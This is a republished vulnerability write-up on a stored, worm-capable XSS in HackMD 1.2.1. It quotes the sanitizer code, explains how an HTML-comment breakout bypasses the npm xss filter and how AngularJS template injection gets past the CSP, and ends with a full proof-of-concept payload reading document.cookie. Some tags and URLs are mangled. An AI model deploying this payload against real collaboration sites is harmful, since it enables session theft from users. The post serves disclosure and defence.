Aquaboutic | Focus Security Research | Vulnerability Exploit | POC


worm xss of markdown collaboration platform hackmd

Posted by fleschner at 2020-03-20

Hackmd is a markdown collaboration system developed by Taiwan, China. There are many users around the world. Its software source is also open on GitHub, and it has gained more than 4500 stars.

The overall code quality of hackmd is not low, so there is no serious vulnerability. Of course, vulnerabilities like XSS are inevitable. What we found this time is a more interesting XSS vulnerability, which can achieve the effect of worm propagation.

Causes of loopholes

Take Version 1.2.1 as an example

Because hackmd allows to embed customized web tags, in order to prevent XSS vulnerability, it is necessary to filter HTML code. Hackmd uses an XSS defense function library - NPM / XSS to defense! From the perspective of related documents and the number of issues and stars on GitHub, this is a very mature XSS defense system, and it is difficult to find problems.

Therefore, I focus on the use of function libraries, and even if the safe function library encounters unsafe use, there will be problems. The location used by hackmd to NPM / XSS is located in the preventxss of public / JS / render.js. The code is as follows:

public/js/render.js preventXSS var filterXSSOptions = { allowCommentTag: true, whiteList: whiteList, escapeHtml: function (html) { // allow html comment in multiple lines return html.replace(/<(?!!--)/g, '&lt;').replace(/-->/g, '-->').replace(/>/g, '&gt;').replace(/-->/g, '-->') }, onIgnoreTag: function (tag, html, options) { // allow comment tag if (tag === '!--') { // do not filter its attributes return html } }, onTagAttr: function (tag, name, value, isWhiteAttr) { // allow href and src that match linkRegex if (isWhiteAttr && (name === 'href' || name === 'src') && linkRegex.test(value)) { return name + '="' + filterXSS.escapeAttrValue(value) + '"' } // allow data uri in img src if (isWhiteAttr && (tag === 'img' && name === 'src') && dataUriRegex.test(value)) { return name + '="' + filterXSS.escapeAttrValue(value) + '"' } }, onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) { // allow attr start with 'data-' or in the whiteListAttr if (name.substr(0, 5) === 'data-' || window.whiteListAttr.indexOf(name) !== -1) { // escape its value using built-in escapeAttrValue function return name + '="' + filterXSS.escapeAttrValue(value) + '"' } } } function preventXSS (html) { return filterXSS(html, filterXSSOptions) }

In order to enable users to customize filter rules, NPM / XSS provides users with different options. In the onignoretag callback, if the annotation tag is judged, it will directly return the original HTML content. The key code is as follows:

onIgnoreTag if (tag === '!--') { // do not filter its attributes return html }

This code should have been used to keep the comments! However, without any filtering, problems may arise:

<!-- foo="bar--> <s>Hi</s>" -->

For example, the above code will take bar -- >... As an attribute value, but -- > will close the annotation tag in front, so that the attacker can easily bypass the defense and insert arbitrary HTML code!

bar--> ... -->

Bypass CSP

Although the defense of NPM / XSS has been bypassed, hackmd also uses CSP to block unauthorized front-end code execution. The relevant CSP policies are as follows:

content-security-policy: sc ript-src 'self' 'unsafe-eval' https://* https://* 'nonce-38703614-d766-4dff-954b-57372aafe8bd' 'sha256-EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI='; img-src * data:; style-src 'self' 'unsafe-inline' https://*; font-src 'self' data: https://*; ob ject-src *; media-src *; fr ame-src *; child-src *; connect-src *; ba se-uri 'none'; form-action 'self'; upgrade-insecure-requests

Throughout the rule, we can see that it allows JS script execution from This makes things easier. We can directly use the angularjs function library to execute payload in the way of client template injection!

Final attack code

Based on the above two points, it is concluded that:

<!-- foo="--> <sc ript src=> </sc ript> <di v ng-app> {{constructor.constructor('alert(document.cookie)')()}} </di v> //sssss" -->

The following video also shows that all users sharing malicious documents can be attacked:

Video link:

Thank you for reading!

本文由白帽汇整理,不代表白帽汇任何观点和立场 来源: